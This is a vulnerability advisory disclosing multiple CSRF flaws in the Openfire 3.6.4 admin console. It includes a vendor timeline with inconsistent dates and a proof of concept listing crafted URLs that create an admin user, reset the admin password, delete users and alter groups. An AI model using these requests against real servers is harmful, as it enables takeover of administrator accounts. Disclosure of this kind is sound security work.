131 lines
No EOL
5.5 KiB
Text
131 lines
No EOL
5.5 KiB
Text
Title: Multiple CSRF Vulnerabilities in Openfire 3.6.4 Administrative
|
|
Section
|
|
------------------------------------------------------------------------
|
|
------------------------------------------------------------------------
|
|
--
|
|
|
|
Project: Openfire
|
|
Severity: High
|
|
Versions: 3.6.4 (other versions may be affected)
|
|
Exploit type: Multiple CSRF
|
|
Fixes Available: None
|
|
------------------------------------------------------------------------
|
|
------------------------------------------------------------------------
|
|
--
|
|
|
|
Timeline:
|
|
14 October 2010: Vendor Contacted
|
|
15 October 2010: Vendor Response received. Asks to verify the issues in
|
|
beta.
|
|
28 October 2010: Informed Vendor that multiple pages are still
|
|
vulnerable
|
|
03 November 2010: Acknowledgement / Update requested
|
|
03 November 2010: Update received. No fixes initiated.
|
|
23 November 2010: Informed vendor disclosure date set to 1/12/2010
|
|
22 December 2010: Update requested.
|
|
22 December 2010: Vendor asks to release information as the
|
|
vulnerabilities are already known
|
|
23 December 2010: A different contact at the Vendor location informs
|
|
that there are no updates.
|
|
24 December 2010: Disclosure date set to 5 December 2010
|
|
05 December 2010: Public disclosure.
|
|
------------------------------------------------------------------------
|
|
------------------------------------------------------------------------
|
|
--
|
|
|
|
Product Description:
|
|
Openfire is a real time collaboration (RTC) server licensed under the
|
|
Open Source GPL. It uses the only widely adopted open protocol for
|
|
instant messaging, XMPP (also called Jabber). Openfire is incredibly
|
|
easy to setup and administer, but offers rock-solid security and
|
|
performance.
|
|
(Source: http://www.igniterealtime.org/projects/openfire/)
|
|
------------------------------------------------------------------------
|
|
------------------------------------------------------------------------
|
|
--
|
|
|
|
Affected Files/Locations/Modules:
|
|
user-create.jsp
|
|
user-password.jsp
|
|
user-delete.jsp
|
|
group-create.jsp
|
|
group-edit.jsp
|
|
------------------------------------------------------------------------
|
|
------------------------------------------------------------------------
|
|
--
|
|
|
|
Vulnerability Details:
|
|
An attacker can execute functions as an authenticated user by tricking a
|
|
user into making requests to the Server. The attack works by including a
|
|
link or script in a page that accesses a site to which the user is known
|
|
(or is supposed) to have been authenticated. Successful exploitation of
|
|
these vulnerabilities could result in, but not limited to, compromise of
|
|
the application, theft of cookie-based authentication credentials,
|
|
arbitrary page redirection, disclosure or modification of sensitive data
|
|
and phishing attacks.
|
|
|
|
Since the vulnerabilities exist in the administrative module, a
|
|
successful attack could cause a complete compromise of the entire
|
|
application. An attacker can send a link with the exploit to an
|
|
administrator whose access could compromise the application.
|
|
------------------------------------------------------------------------
|
|
------------------------------------------------------------------------
|
|
--
|
|
|
|
Proof of Concept:
|
|
Create a html content (img, iframes etc.) with the following PoC URLs as
|
|
src and host for the authenticated victim.
|
|
http://localhost:9090/user-create.jsp?username=tester&name=Riyaz&email=w
|
|
alikarriyazad%40microland.com&password=test&passwordConfirm=test&isadmin
|
|
=on&create=Create+User
|
|
|
|
http://localhost:9090/user-create.jsp?username=tester&name=Riyaz&email=w
|
|
alikarriyazad%40microland.com&password=test&passwordConfirm=test&isadmin
|
|
=on&create=Create+User>
|
|
|
|
http://localhost:9090/user-password.jsp?username=admin&password=secure-p
|
|
ass&passwordConfirm=secure-pass&update=Update+Password
|
|
|
|
http://localhost:9090/user-password.jsp?username=admin&password=secure-p
|
|
ass&passwordConfirm=secure-pass&update=Update+Password>
|
|
|
|
http://localhost:9090/user-delete.jsp?username=tester&delete=Delete+User
|
|
|
|
http://localhost:9090/user-delete.jsp?username=tester&delete=Delete+User
|
|
|
|
http://localhost:9090/group-create.jsp?name=NewGroup&description=New+Gro
|
|
up&create=Create+Group
|
|
|
|
http://localhost:9090/group-create.jsp?name=NewGroup&description=New+Gro
|
|
up&create=Create+Group>
|
|
|
|
http://localhost:9090/group-edit.jsp?group=NewGroup&add=Add&username=adm
|
|
in&addbutton=Add
|
|
|
|
http://localhost:9090/group-edit.jsp?group=NewGroup&add=Add&username=adm
|
|
in&addbutton=Add>
|
|
|
|
http://localhost:9090/group-edit.jsp?group=NewGroup&admin=abc () example co
|
|
m&updateMember=Update
|
|
|
|
http://localhost:9090/group-edit.jsp?group=NewGroup&admin=abc () example co
|
|
m&updateMember=Update>
|
|
------------------------------------------------------------------------
|
|
------------------------------------------------------------------------
|
|
--
|
|
|
|
Warm Regards,
|
|
Riyaz Ahemed Walikar || Senior Engineer - Professional Services
|
|
Vulnerability Assessment & Penetration Testing
|
|
Microland Limited
|
|
www.microland.com
|
|
|
|
|
|
The information transmitted is intended only for the person or entity to which it is addressed and may contain
|
|
confidential and/or privileged material.
|
|
Any review, re-transmission, dissemination or other use of or taking of any action in reliance upon,this information by
|
|
persons or entities other than the intended recipient is prohibited.
|
|
If you received this in error, please contact the sender and delete the material from your computer.
|
|
Microland takes all reasonable steps to ensure that its electronic communications are free from viruses.
|
|
However, given Internet accessibility, the Company cannot accept liability for any virus introduced by this e-mail or
|
|
any attachment and you are advised to use up-to-date virus checking software. |